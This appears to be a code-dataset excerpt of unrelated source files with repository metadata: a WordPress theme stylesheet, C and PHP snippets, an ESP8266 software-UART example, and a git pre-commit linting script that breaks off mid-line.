article:not([rel="single-post"]):not(.page):not(.single):not(.quasarproducts){ border-bottom:1px dotted #999;} */ article[rel="single-post"]{margin-bottom:30px; padding-bottom:0px;} .entry-header{margin-bottom:15px;} .entry-summary{margin-bottom:30px; -ms-word-wrap: break-word; word-wrap: break-word;} .entry-thumbnail{display:block; margin-bottom:15px;} .quasar-title-date-container{} .quasar-title-date-container a:hover{text-decoration:none;} .date-area-container{position:relative; float:right; width:65px; height:55px; padding-top:3px; border:1px solid #e0e0e0; border-right:none;} .post-format-container{ position:relative; float:right; width:65px; height:55px; background:#00aae8; color:#fff; border:1px solid #e0e0e0; } .more-link{margin-top:45px !important; font-size:13px; font-family:'Open Sans', sans-serif; float:right;} .more-link:not(.button){color:#00aae8; padding-top:15px; display:block; position:relative;} /*Password Protect Area*/ /*article .post-password-form label{display:inline;}*/ input[type="password"]{display:inline; max-width:100%; width:140px; height:auto;} article input[type="submit"]{display:inline-block; float:none; margin-top:-3px;} /*Blog Date Area*/ .date-area, .date-area *{font-family:'Open Sans', sans-serif;} .date-area{text-align:center;} .date-area .day-area{font-size:29px; font-weight:600; text-align:center;} .date-area .month-area{text-transform:uppercase; padding-right:3px; font-size:10px;} .date-area .year-area{font-size:10px;} .quasar-post-social{padding-bottom:30px; padding-top:30px; display:block; position:relative; width:100%;} .quasar-post-social > *{float:left !important; margin-right:10px; display:block; width:90px !important; overflow:hidden;} .post-format-container .icomoon-icon{ font-size:24px; position: absolute; left: 50%; top: 50%; margin-top: -12px; margin-left: -12px; } .title-container, .title-container a{ font-size:24px; font-weight:600; display:block; width:100%; margin-bottom:14px; -ms-word-wrap: break-word; word-wrap: break-word; } .entry-meta{font-size:12px;} /*Entry Meta*/ .genericon:before, .menu-toggle:after, .featured-post:before, .date a:before, .entry-meta .author a:before, .format-audio .entry-content:before, .comments-link a:before, .tags-links a:first-child:before, .categories-links a:first-child:before, .post-view:before, .edit-link a:before, .attachment .entry-title:before, .attachment-meta:before, .attachment-meta a:before, .comment-awaiting-moderation:before, .comment-reply-link:before, .comment-reply-login:before, .comment-reply-title small a:before, .bypostauthor > .comment-body .fn:before, .error404 .page-title:before { -webkit-font-smoothing: antialiased; display: inline-block; font-family:'icomoon'; vertical-align: text-bottom; color:#00aae8; } .entry-meta > span { margin-right: 20px; } .featured-post:before { font-family: 'icomoon'; content: "\e041"; margin-right: 8px; position:relative; top:-1px; } .categories-links a:first-child:before { font-family: 'icomoon'; content: "\e02f"; margin-right: 8px; position:relative; top:-3px; } .tags-links a:first-child:before { font-family: 'icomoon'; content: "\e031"; position: relative; margin-right: 8px; top: -2px; } .entry-meta .author a:before { font-family: 'icomoon'; content: "\e074"; position: relative; margin-right: 8px; top: -2px; } .edit-link a:before { font-family: 'icomoon'; content: "\e006"; position: relative; margin-right: 8px; top: -3px; } .comments-link a:before{ font-family: 'icomoon'; content: "\e06e"; position: relative; margin-right: 8px; top: -3px; } .post-view:before{ font-family: 'icomoon'; content: "\e0c6"; position: relative; margin-right: 8px; top: -2px; } .post-view-single:before{ font-family: 'icomoon'; content: "\e0c6"; position: relative; margin-right: 8px; top: 1px; color:#00aae8; } .comments-link{margin-right:20px;} .comments-link, .post-view{float:left;} .post-view{font-size:12px;} .post-view-single{line-height:18px; font-size:12px; float:left;} /* ** ####################################################### ** End of Blog ** ####################################################### */ /* ** ####################################################### ** Wordpress General ** ####################################################### */ .single-author .entry-meta .author, .sticky.format-standard .entry-meta .date, .sticky.format-audio .entry-meta .date, .sticky.format-chat .entry-meta .date, .sticky.format-image .entry-meta .date, .sticky.format-gallery .entry-meta .date { display: none; } .wp-caption .wp-caption-text, .entry-caption, .gallery-caption { color: #220e10; font-size: 18px; font-style: italic; font-weight: 300; } .gallery-caption { background-color: rgba(0, 0, 0, 0.7); box-sizing: border-box; color: #fff; font-size: 14px; line-height: 1.3; margin: 0; max-height: 50%; opacity: 0; padding: 2px 8px; position: absolute; bottom: 0; left: 0; text-align: left; -webkit-transition: opacity 400ms ease; transition: opacity 400ms ease; width: 100%; } .gallery-caption:before { box-shadow: 0 -10px 15px #000 inset; content: ""; height: 100%; min-height: 49px; position: absolute; left: 0; top: 0; width: 100%; } .gallery-item:hover .gallery-caption { opacity: 1; } .gallery-columns-7 .gallery-caption, .gallery-columns-8 .gallery-caption, .gallery-columns-9 .gallery-caption { display: none; } .gallery-caption { background: #000; filter: alpha(opacity=0); } /*Wordpress Calendar Widget*/ #calendar_wrap #wp-calendar{ width:100%; text-align:center; } #calendar_wrap #wp-calendar caption{ text-align:left; font-weight:600; /*margin:5px 0;*/ font-size:18px; } #calendar_wrap #wp-calendar #prev, #calendar_wrap #wp-calendar #next{ font-weight:600; } /*Comments*/ .comment-list > li.comment{ min-height:80px; } ol.comment-list { list-style:none; margin:0 0 1em; padding:0; text-indent:0; } ol.comment-list ol{list-style:none;} ol.comment-list li { margin-bottom:8px; } ol.comment-list li.alt { } ol.comment-list li.bypostauthor {} ol.comment-list li.byuser {} ol.comment-list li.comment-author-admin {} ol.comment-list li.comment { } ol.comment-list li.comment div.comment-author {margin-bottom:5px;} ol.comment-list li.comment div.vcard { font-size:16px; font-weight:600; margin:0px; padding:0px; border:none; width:100%;} ol.comment-list li.comment .comment-author cite{font-style:normal; line-height:100%; font-size:20px;} ol.comment-list li.comment .comment-author { font-style:normal; font-size:20px; line-height:100%; color:#00AAE8; font-weight:600;} ol.comment-list li.comment .comment-author a.url {color:#00aae8; font-size:20px; line-height:100%;} ol.comment-list li.comment div.vcard img.avatar { margin:0 1em 1em 0; } ol.comment-list li.comment div.vcard img{ background:#333;} ol.comment-list li.comment div.vcard img.avatar-32 {} ol.comment-list li.comment div.vcard img.photo {} ol.comment-list li.comment div.vcard span.says {display:none;} ol.comment-list li.comment .comment-metadata {float:left;} ol.comment-list li.comment .comment-meta { font-size:11px;} ol.comment-list li.comment .comment-meta a { color:#999999; } ol.comment-list li.comment p { font-size:13px; margin:0 0 1em; color:#666666; margin-top:5px;} ol.comment-list li.comment div.reply { font-size:11px; } ol.comment-list li.comment div.reply a { font-weight:600; } ol.comment-list li.comment ol.children { list-style:none; margin:1em 0 0; text-indent:0; } ol.comment-list li.comment ol.children li {} ol.comment-list li.comment ol.children li.alt {} ol.comment-list li.comment ol.children li.bypostauthor {} ol.comment-list li.comment ol.children li.byuser {} ol.comment-list li.comment ol.children li.comment {} ol.comment-list li.comment ol.children li.comment-author-admin {} ol.comment-list li.comment ol.children li.depth-2 { /*border-left:5px solid #555;*/ margin:0 0 25px 25px; } ol.comment-list li.comment ol.children li.depth-3 { /*border-left:5px solid #999;*/ margin:0 0 50px 50px; } ol.comment-list li.comment ol.children li.depth-4 { /*border-left:5px solid #bbb;*/ margin:0 0 75px 75px; } ol.comment-list li.comment ol.children li.depth-5 {} ol.comment-list li.comment ol.children li.odd {} ol.comment-list li.parent { /*border-left:5px solid #111; */} ol.comment-list li.thread-alt { } ol.comment-list li.thread-even {} ol.comment-list li.thread-odd {} .comment-body{ padding-bottom:15px; padding-top:15px; } .navigation .nav-next{text-align:right;} .leave-a-comment, .logged-in-as, .form-submit{padding-left:15px;} textarea.comments-field{ width:100%; min-height:140px; } .comments-submit, #comments-submit{ margin-bottom:15px; } #respond{ margin-top:30px; } .comment-respond #reply-title small{margin-left:-7px;} .inputs-class-num{ border:1px solid #e0e0e0; background:#eeeeee; color:#999999; padding:5px; padding-left:10px; padding-right:10px; margin:10px; float:left; margin-left:0px; width:290px; position:relative; display:block; height:27px; } .box-shadow-dark{ -webkit-box-shadow:inset 0 0 2px #00AAE8; -moz-box-shadow:inset 0 0 2px #00AAE8; box-shadow:inset 0 0 2px #00AAE8; border-color:#00AAE8; } .comment-list .reply{ text-align:right; } .comment-list .reply a, #cancel-comment-reply-link{ font-family:'Open Sans', sans-serif; font-weight:normal; color:#00aae8; font-size:14px; position:relative; cursor:pointer; } .comment-list .reply a:before{ font-family: 'icomoon'; content: "\e069"; position: relative; margin-right: 8px; top: 5px; font-size:16px; font-weight:normal; } a#cancel-comment-reply-link:before{ font-family: 'icomoon'; content: "\e0fa"; position: relative; margin-right: 8px; top: -9px; font-size:16px; font-weight:normal; } .comment-list .reply a:hover{text-decoration:none;} /*Wordpress Default Widgets*/ .sidebar-area .widget{margin-bottom:45px;} .widget_archive ul, .widget_categories ul, .widget_meta ul, .widget_pages ul, .widget_recent_comments ul, .widget_recent_entries ul, .woocommerce.widget_product_categories ul{ list-style:none; margin-left:0px; } .widget_archive > ul li:before, .widget_categories > ul li:before, .widget_meta > ul li:before, .widget_pages > ul li:before, .widget_recent_comments > ul li:before, .widget_recent_entries > ul li:before, .woocommerce.widget_product_categories .product-categories > ul li:before{ content:"\f054"; font-family:FontAwesome; padding-right:15px; margin-left:0px; font-size:9px; color:#666; } .widget_archive > ul > li > ul, .widget_categories > ul > li > ul, .widget_meta > ul > li > ul, .widget_pages > ul > li > ul, .widget_recent_comments > ul > li > ul, .widget_recent_entries > ul > li > ul, .woocommerce.widget_product_categories .product-categories > ul > li > ul{ margin-left:15px; } .widget_archive li, .widget_categories li, .widget_meta li, .widget_pages li, .widget_recent_comments li, .widget_recent_entries li, .woocommerce.widget_product_categories .product-categories li{ margin:9px 0px; } /* .widget_archive li:hover, .widget_categories li:hover, .widget_meta li:hover, .widget_pages li:hover, .widget_recent_comments li:hover, .widget_recent_entries li:hover, .woocommerce.widget_product_categories .product-categories li:hover{ margin:-5px 0px; padding:5px 9px; background:#00aae8; color:f0f0f0; border-radius:3px; } .widget_archive li:hover a, .widget_categories li:hover a, .widget_meta li:hover a, .widget_pages li:hover a, .widget_recent_comments li:hover a, .widget_recent_entries li:hover a, .woocommerce.widget_product_categories .product-categories li:hover a{ color:#f0f0f0 !important; text-decoration:none !important; } */ .widget_archive li a, .widget_categories li a, .widget_meta li a, .widget_pages li a, .widget_recent_comments li a, .widget_recent_entries li a, .woocommerce.widget_product_categories .product-categories li a{ font-size:14px; line-height:20px; } .right-sidebar-padding{padding-left:45px;} .left-sidebar-padding{padding-right:45px;} .sidebar-widget-title-hr{margin-top:0px;} .searchform label{display:block; margin-bottom:15px; font-weight: 500; font-size: 22px;} .searchform{position:relative;} .special-search-overlay-box .searchform input{margin:0px !important;} .special-search-overlay-box .searchform input[type="submit"]{ position: absolute; top: 1px; right: 1px; height: 28px; box-shadow: none; border: none; border-top-left-radius: 0px; border-bottom-left-radius: 0px; width: 50px; text-indent: -99px; background-size:16px 16px !important; background:#f0f0f0 url(images/icomoon/search.png) center center no-repeat; margin:0px !important; } .special-search-overlay-box .searchform input[type="submit"]:hover, .special-search-overlay-box .searchform input[type="submit"]:active{ background-size:16px 16px !important; background:#F9F9F9 url(images/icomoon/search.png) center center no-repeat ; } .special-search-overlay-box .searchform input[type="text"]{ padding-right:55px; } /*Tagcloud TO DO : Will be optional*/ .tagcloud a{ font-size:11px !important; display: inline-block; background: #DEDEDE; border: 1px solid #DEDEDE; padding: 4px 6px; border-radius: 3px; margin: 0 1px 6px 0; background: #ffffff; /* Old browsers */ background: -moz-linear-gradient(top, #ffffff 0%, #f4f4f4 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ffffff), color-stop(100%,#f4f4f4)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #ffffff 0%,#f4f4f4 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #ffffff 0%,#f4f4f4 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #ffffff 0%,#f4f4f4 100%); /* IE10+ */ background: linear-gradient(to bottom, #ffffff 0%,#f4f4f4 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#f4f4f4',GradientType=0 ); /* IE6-9 */ } #wp-calendar { border-collapse: collapse; border-spacing: 0; } #wp-calendar td { text-decoration: none; } #wp-calendar caption { font-weight: bold; color: #f0f0f0; text-align: center; background: #00aae8; -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.04); box-shadow: inset 0 1px rgba(255, 255, 255, 0.04); padding:10px; } #wp-calendar caption td { line-height: 32px; padding: 0 10px; font-size: 15px; color: #e2e2e2; } #wp-calendar caption td:hover { color: white; } #wp-calendar caption .prev { float: left; } #wp-calendar caption .next { float: right; } #wp-calendar th, #wp-calendar td { text-align: center; } #wp-calendar th:first-child, #wp-calendar td:first-child { border-left: 0; } #wp-calendar th { font-size: 8px; color: #696969; text-transform: uppercase; background: #f3f3f3; border-left: 1px solid #f3f3f3; } #wp-calendar td { font-size: 11px; font-weight: bold; border-top: 1px solid #E6E6E6; border-left: 1px solid #E6E6E6; } #wp-calendar td { line-height: 18px; color: #666; background-image: -webkit-linear-gradient(top, #eaeaea, #e5e5e5 60%, #d9d9d9); background-image: -moz-linear-gradient(top, #eaeaea, #e5e5e5 60%, #d9d9d9); background-image: -o-linear-gradient(top, #eaeaea, #e5e5e5 60%, #d9d9d9); background-image: linear-gradient(to bottom, #eaeaea, #e5e5e5 60%, #d9d9d9); -webkit-box-shadow: inset 1px 1px rgba(255, 255, 255, 0.5); box-shadow: inset 1px 1px rgba(255, 255, 255, 0.5); background: #ffffff; background: -moz-linear-gradient(top, #ffffff 0%, #f4f4f4 100%); background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ffffff), color-stop(100%,#f4f4f4)); background: -webkit-linear-gradient(top, #ffffff 0%,#f4f4f4 100%); background: -o-linear-gradient(top, #ffffff 0%,#f4f4f4 100%); background: -ms-linear-gradient(top, #ffffff 0%,#f4f4f4 100%); background: linear-gradient(to bottom, #ffffff 0%,#f4f4f4 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#f4f4f4',GradientType=0 ); } #wp-calendar td:hover, #wp-calendar td.off { background: #f3f3f3; } #wp-calendar td.off { color: #b3b3b3; } #wp-calendar td.active, #wp-calendar td:active { margin: -1px; background: #f0f0f0; border: 1px solid #d3d3d3; -webkit-box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05); box-shadow: inset 0 0 10px rgba(0, 0, 0, 0.05); } #wp-calendar td a{ color:#00aae8; } #wp-calendar td.active:first-child, #wp-calendar td:first-child:active { border-left: 0; margin-left: 0; } #wp-calendar td.active:last-child, #wp-calendar td:last-child:active { border-right: 0; margin-right: 0; } #wp-calendar tr:last-child td.active, #wp-calendar tr:last-child td:active { border-bottom: 0; margin-bottom: 0; } /*Footer Large Widgets*/ #footer{ } #footer .shadow-divider-up{border:none;} .footer-large{ /*border-top:3px solid #00aae8;*/ /*background:url(images/black-Linen.png); */ width:100%; min-height:40px; padding:15px; color:#CFCFCF; } hr.footer-inline-hr{ border-top: 1px solid rgba(0, 0, 0, 0.4); border-bottom: 1px solid rgba(255, 255, 255, 0.07); height: 1px; border-left: none; border-right: none; } .footer-large .widget-title{ color: #C4C4C4; text-shadow: 2px 2px 3px #000; } .footer-bottom{ background:#181818; color:#f0f0f0; font-size:12px; padding:15px; } /*Youtube Regular Embed*/ /* We have removed this code because it's breaking the iframe video sizes in Rev Slider. iframe{width:100%;} */ /*Flash*/ object.flashmovie, object.flashmovie object{width:100%;} .quasar-iframe-container { position: relative; padding-bottom: 56.25%; padding-top: 30px; height: 0; overflow: hidden; } .quasar-iframe-container iframe { position: absolute; top:0; left: 0; width: 100%; height: 100%; border:none; } /*Rockthemes Twitter Widget*/ iframe.twitter-timeline{width:100%; min-width:100% !important;} /*New Flickr Widget : Flickr Badges Widget*/ .flickr_badge_image img{ max-width:33%; height:100%; margin-right:0px !important; padding-right:10px; transition:all .3s; -moz-transition:all .3s; -webkit-transition:all .3s; } .flickr_badge_image img:hover{opacity:0.8; filter:alpha(opacity:80);} .customisable-border.thm-dark, .thm-dark .customisable-border, .widget .rpwe-block li { border-bottom:1px solid #444; } /* ** ####################################################### ** End of Wordpress General ** ####################################################### */ /* ** ####################################################### ** Foundation Overrides ** ####################################################### */ .author.vcard{border:none; margin:0px 20px 0 0; padding:0px; font-weight:normal;} .author.vcard a{font-weight:normal;} /*Form Fields*/ select{ background-color: #FFF; font-family: inherit; border: 1px solid #CCC; -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); color: #000; display: block; font-size: 0.875em; margin: 0 0 1em 0; height: 2.3125em; padding:3px; width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -webkit-transition: -webkit-box-shadow 0.45s, border-color 0.45s ease-in-out; -moz-transition: -moz-box-shadow 0.45s, border-color 0.45s ease-in-out; transition: box-shadow 0.45s, border-color 0.45s ease-in-out; line-height:16px; } /* ** ####################################################### ** End of Foundation Overrides ** ####################################################### */ /* ** ####################################################### ** HTML Extended Elements ** ####################################################### */ .icon-2{font-size:34px;} .icon-3{font-size:50px;} .icon-4{font-size:64px;} pre { background: url("images/code_bg.png") repeat scroll 0 0 transparent; border-bottom: medium none !important; border-left: 1px solid #EEEEEE; border-right: 1px solid #EEEEEE; border-top: 1px solid #EEEEEE; line-height: 21px !important; margin-bottom: 15px; overflow-x: auto; padding: 0 10px !important; } pre {white-space: pre-wrap; word-wrap: break-word;} pre, code, kbd, samp {font-family: monospace,serif; font-size: 1em;} ol{ line-height: 1.6; margin-bottom: 1.25em; list-style-position: outside; font-family: inherit;} li{display:list-item;} ol, ul{margin-left:25px;} sub, sup{font-size: 75%; line-height: 0; position: relative; vertical-align: baseline;} sup{top: -0.5em;} sub{bottom: -0.25em;} var{font-style:italic;} tt{font-family:monospace;} big{font-size: larger;} ins{/*background: #FFF9C0; */ text-decoration: none;} abbr{border-bottom: 1px dotted;} ul,ol,dl{font-size:13px;} address{font-style:normal; font-size:13px;} small{font-size:80%;} /* ** ####################################################### ** End of HTML Extended Elements ** ####################################################### */ .quasar-pagination{ margin:15px 0px 0px; list-style:none; display:block; font-size:12px; } .button-radius{ border-radius:3px; -moz-border-radius:3px; -webkit-border-radius:3px; } .quasar-pagination .page-numbers, input[type="submit"]:not(.button), .comments-submit, #comments-submit{ cursor:pointer; display:block; padding:0px 10px; float:left; text-aling:center; font-weight:normal !important; margin-right:5px; border-radius:3px; -webkit-box-shadow: inset 0px 1px 0px rgba(255, 255, 255, 0.5), 0px 1px 2px rgba(0, 0, 0, 0.15); -moz-box-shadow: inset 0px 1px 0px rgba(255, 255, 255, 0.5), 0px 1px 2px rgba(0, 0, 0, 0.15); box-shadow: inset 0px 1px 0px rgba(255, 255, 255, 0.5), 0px 1px 2px rgba(0, 0, 0, 0.15); display: -moz-inline-stack; display: inline-block; vertical-align: middle; *vertical-align: auto; zoom: 1; *display: inline; height: 26px; line-height: 26px; font-weight: 300; font-size: 13px; text-decoration: none; text-align: center; background-color: #eeeeee; background: -webkit-gradient(linear, 50% 0%, 50% 100%, color-stop(0%, #fbfbfb), color-stop(100%, #e1e1e1)); background: -webkit-linear-gradient(top, #fbfbfb, #e1e1e1); background: -moz-linear-gradient(top, #fbfbfb, #e1e1e1); background: -o-linear-gradient(top, #fbfbfb, #e1e1e1); background: linear-gradient(top, #fbfbfb, #e1e1e1); border-color: #d4d4d4; color: #666666; text-shadow: 0 1px 1px white; } .quasar-pagination .page-numbers:not(.current):hover, input[type="submit"]:hover, .comments-submit:hover, #comments-submit:hover{ background-color: #eeeeee; background: -webkit-gradient(linear, 50% 0%, 50% 100%, color-stop(0%, #ffffff), color-stop(100%, #dcdcdc)); background: -webkit-linear-gradient(top, #ffffff, #dcdcdc); background: -moz-linear-gradient(top, #ffffff, #dcdcdc); background: -o-linear-gradient(top, #ffffff, #dcdcdc); background: linear-gradient(top, #ffffff, #dcdcdc); text-decoration:none !important; } input[type="submit"]:active, .comments-submit:active, #comments-submit:active{ -webkit-box-shadow: inset 0px 1px 3px rgba(0, 0, 0, 0.3), 0px 1px 0px white; -moz-box-shadow: inset 0px 1px 3px rgba(0, 0, 0, 0.3), 0px 1px 0px white; box-shadow: inset 0px 1px 3px rgba(0, 0, 0, 0.3), 0px 1px 0px white; text-shadow: 0px 1px 0px rgba(255, 255, 255, 0.4); background: #eeeeee; color: #bbbbbb; } .quasar-pagination .page-numbers.current, .quasar-link_pages > span.page-numbers{ background:#00aae8; color:#ffffff; } .quasar-pagination .page-numbers.current, .quasar-pagination .page-numbers:active, .quasar-link_pages > span.page-numbers, .button.active, .button.current, .button.active:hover, .button.current:hover .button.active:active, .button.current:active{ -webkit-box-shadow: inset 0px 1px 3px rgba(0, 0, 0, 0.3), 0px 1px 0px white; -moz-box-shadow: inset 0px 1px 3px rgba(0, 0, 0, 0.3), 0px 1px 0px white; box-shadow: inset 0px 1px 3px rgba(0, 0, 0, 0.3), 0px 1px 0px white; text-shadow: 0px 1px 0px rgba(255, 255, 255, 0.4); /*background:#00aae8 !important;*/ color:#ffffff !important; } /*Form Elements*/ label{ font-size:13px; /*15px*/ font-weight:600; } input[type="submit"]{ padding:0px 25.6px; height:32px ; font-size:14px ; line-height:32px ; border:1px solid #d4d4d4; float:none; } input, input:not([type="submit"]), select, button, textarea{ border-radius:3px; margin-left:0px; background:#FFF; font-size:13px !important; line-height:16px; } input[type="submit"]{ border-radius:3px; margin-left:0px; font-size:13px !important; line-height:16px; } .rockthemes_fb_element_container label{ display:inline-block; } select{ background-image: url(images/select_arrow_down.png); background-position: right center; background-repeat: no-repeat; } .escape_button_style{ background:none !important; padding:0px !important; box-shadow:none !important; -moz-box-shadow:none !important; -webkit-box-shadow:none !important; border:none !important; margin:0 !important; text-shadow:none !important; vertical-align:baseline !important; line-height:100% !important; height:auto !important; } /*Icomoon General Class*/ .icomoon:before{ font-family: 'icomoon'; content: attr(data-icon); speak: none; font-weight: normal; font-variant: normal; text-transform: none; line-height: 1; -webkit-font-smoothing: antialiased; }
Neminath/lastmile
wp-content/themes/quasartheme/style.css
CSS
gpl-2.0
67,608
// // CGSTransitions.h // Skid // // Created by Brad Allred on 12/17/11. // Copyright (c) 2011 For Every Body. All rights reserved. // #ifndef Skid_CGSTransitions_h #define Skid_CGSTransitions_h #endif
bradallred/SKID
SkidAgent/CGS/CGSTransitions.h
C
gpl-2.0
210
<?php if(isset($menu_product_catalog) && $menu_product_catalog!=false) {?> <ul> <?php foreach($menu_product_catalog->result() as $cate) {?> <li><p><a href="<?php echo site_url('san-pham/loai/'.$cate->slug);?>"><?php echo $cate->cate_name;?></a></p></li> <?php }?> </ul> <?php }?>
tidusant/isuzu
application/modules_core/partner/views/widgets/sidebar.php
PHP
gpl-2.0
305
/* include/linux/wlan_plat.h * * Copyright (C) 2010 Google, Inc. * * This software is licensed under the terms of the GNU General Public * License version 2, as published by the Free Software Foundation, and * may be copied, distributed, and modified under those terms. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * */ #ifndef _LINUX_WLAN_PLAT_H_ #define _LINUX_WLAN_PLAT_H_ struct wifi_platform_data { int (*set_power)(int val); int (*set_reset)(int val); int (*set_carddetect)(int val); void *(*mem_prealloc)(int section, unsigned long size); int (*get_mac_addr)(unsigned char *buf); int dot11n_enable; int cscan_enable; }; #endif
sebirdman/kangbang-bfs
include/linux/wlan_plat.h
C
gpl-2.0
869
#include "ets_sys.h" #include "osapi.h" #include "gpio.h" #include "os_type.h" #include "user_interface.h" #include "softuart.h" #define user_procTaskPrio 0 #define user_procTaskQueueLen 1 os_event_t user_procTaskQueue[user_procTaskQueueLen]; //create global softuart instances Softuart softuart; Softuart softuart2; // loop function will be execute by "os" periodically static void ICACHE_FLASH_ATTR loop(os_event_t *events) { char buffer_char; //print something on uart_0 to see progress os_printf("."); if(Softuart_Available(&softuart)) { os_printf("Softuart 1: %c\r\n", Softuart_Read(&softuart)); } //write example output to softuart 1 Softuart_Puts(&softuart,"one"); //check if character is available at second uart if(Softuart_Available(&softuart2)) { buffer_char = Softuart_Read(&softuart2); //character is available and will be sent to first software uart os_printf("Sent to Softuart 1: %c\r\n", buffer_char); Softuart_Putchar(&softuart,buffer_char); } //write example output to softuart 2 Softuart_Puts(&softuart2,"2"); //some delay until we run this task again os_delay_us(100000); // run (schedule) this loop task again system_os_post(user_procTaskPrio, 0, 0 ); } void ICACHE_FLASH_ATTR user_init() { // Initialize UART0 to use as debug uart_div_modify(0, UART_CLK_FREQ / 9600); //init software uart Softuart_SetPinRx(&softuart,14); Softuart_SetPinTx(&softuart,12); //startup Softuart_Init(&softuart,9600); //second uart //init software uart Softuart_SetPinRx(&softuart2,4); Softuart_SetPinTx(&softuart2,5); //startup Softuart_Init(&softuart2,9600); //Start our loop task system_os_task(loop, user_procTaskPrio,user_procTaskQueue, user_procTaskQueueLen); system_os_post(user_procTaskPrio, 0, 0 ); }
icamgo/noduino-sdk
examples/rawsdk/softuart/user_main.c
C
gpl-2.0
1,806
const execSync = require( 'child_process' ).execSync; const spawnSync = require( 'child_process' ).spawnSync; const existsSync = require( 'fs' ).existsSync; const path = require( 'path' ); const chalk = require( 'chalk' ); const _ = require( 'lodash' ); const phpcsPath = getPathForCommand( 'phpcs' ); const phpcbfPath = getPathForCommand( 'phpcbf' ); function quotedPath( pathToQuote ) { if ( pathToQuote.includes( ' ' ) ) { return `"${ pathToQuote }"`; } return pathToQuote; } console.log( '\nBy contributing to this project, you license the materials you contribute ' + 'under the GNU General Public License v2 (or later). All materials must have ' + 'GPLv2 compatible licenses — see docs/CONTRIBUTING.md for details.\n\n' ); // Make quick pass over config files on every change require( './validate-config-keys' ); /** * Parses the output of a git diff command into file paths. * * @param {string} command Command to run. Expects output like `git diff --name-only […]` * @returns {Array} Paths output from git command */ function parseGitDiffToPathArray( command ) { return execSync( command, { encoding: 'utf8' } ) .split( '\n' ) .map( ( name ) => name.trim() ) .filter( ( name ) => /(?:\.json|\.[jt]sx?|\.scss|\.php)$/.test( name ) ); } function getPathForCommand( command ) { /** * Only look for locally installed commands (phpcs, phpcbf). The reason for this is that we also require * a number of dependencies, such as WordPress Coding Standards, which we cannot guarantee are installed * system-wide, and system-wide installs of phpcs and phpcbf cannot find our local copies of those dependencies. * * If we cannot find these commands, we ask the user to run `composer install`, which will install all commands * and dependencies locally. * * @see printPhpcsDocs */ const path_to_command = path.join( __dirname, '..', 'vendor', 'bin', command ); return _.trim( path_to_command ); } function linterFailure() { console.log( chalk.red( 'COMMIT ABORTED:' ), 'The linter reported some problems. ' + 'If you are aware of them and it is OK, ' + 'repeat the commit command with --no-verify to avoid this check.' ); process.exit( 1 ); } function printPhpcsDocs() { console.log( chalk.red( 'COMMIT ABORTED:' ), 'Working with PHP files in this repository requires the PHP Code Sniffer and its dependencies to be installed. Make sure you have composer installed on your machine and from the root of this repository, run `composer install`.' ); process.exit( 1 ); } function phpcsInstalled() { if ( existsSync( phpcsPath ) && existsSync( phpcbfPath ) ) { return true; } return false; } // determine if PHPCS is available const phpcs = phpcsInstalled(); // grab a list of all the files staged to commit const files = parseGitDiffToPathArray( 'git diff --cached --name-only --diff-filter=ACM' ); // grab a list of all the files with changes in the working copy. // This list may have overlaps with the staged list if files are // partially staged... const dirtyFiles = new Set( parseGitDiffToPathArray( 'git diff --name-only --diff-filter=ACM' ) ); // we don't want to format any files that are partially staged or unstaged dirtyFiles.forEach( ( file ) => console.log( chalk.red( `${ file } will not be auto-formatted because it has unstaged changes.` ) ) ); // Remove all the dirty files from the set to format const toFormat = files.filter( ( file ) => ! dirtyFiles.has( file ) ); // Split the set to format into things to format with stylelint and things to format with prettier. // We avoid prettier on sass files because of outstanding bugs in how prettier handles // single line comments. We also split on PHP files for PHPCS handling. const { toPrettify = [], toStylelintfix = [], toPHPCBF = [] } = _.groupBy( toFormat, ( file ) => { switch ( true ) { case file.endsWith( '.scss' ): return 'toStylelintfix'; case file.endsWith( '.php' ): return 'toPHPCBF'; default: return 'toPrettify'; } } ); // Format JavaScript and TypeScript files with prettier, then re-stage them. Swallow the output. toPrettify.forEach( ( file ) => console.log( `Prettier formatting staged file: ${ file }` ) ); if ( toPrettify.length ) { // chunk this up into multiple runs if we have a lot of files to avoid E2BIG _.forEach( _.chunk( toPrettify, 500 ), ( chunk ) => { execSync( `./node_modules/.bin/prettier --ignore-path .eslintignore --write ${ chunk.join( ' ' ) }` ); execSync( `git add ${ chunk.join( ' ' ) }` ); } ); } // Format the sass files with stylelint and then re-stage them. Swallow the output. toStylelintfix.forEach( ( file ) => console.log( `stylelint formatting staged file: ${ file }` ) ); if ( toStylelintfix.length ) { spawnSync( `./node_modules/.bin/stylelint --fix ${ toStylelintfix.join( ' ' ) }` ); execSync( `git add ${ toStylelintfix.join( ' ' ) }` ); } // Format the PHP files with PHPCBF and then re-stage them. Swallow the output. toPHPCBF.forEach( ( file ) => console.log( `PHPCBF formatting staged file: ${ file }` ) ); if ( toPHPCBF.length ) { if ( phpcs ) { try { execSync( `${ quotedPath( phpcbfPath ) } --standard=apps/phpcs.xml ${ toPHPCBF.join( ' ' ) }` ); } catch ( error ) { // PHPCBF returns a `0` or `1` exit code on success, and `2` on failures. ¯\_(ツ)_/¯ // https://github.com/squizlabs/PHP_CodeSniffer/blob/HEAD/src/Runner.php#L210 if ( 2 === error.status ) { linterFailure(); } } execSync( `git add ${ toPHPCBF.join( ' ' ) }` ); } else { printPhpcsDocs(); } } // Now run the linters over everything staged to commit (excepting JSON), even if they are partially staged const { toEslint = [], toStylelint = [], toPHPCS = [] } = _.groupBy( files.filter( ( file ) => ! file.endsWith( '.json' ) ), ( file ) => { switch ( true ) { case file.endsWith( '.scss' ): return 'toStylelint'; case file.endsWith( '.php' ): return 'toPHPCS'; default: return 'toEslint'; } } ); // first stylelint if ( toStylelint.length ) { const lintResult = spawnSync( 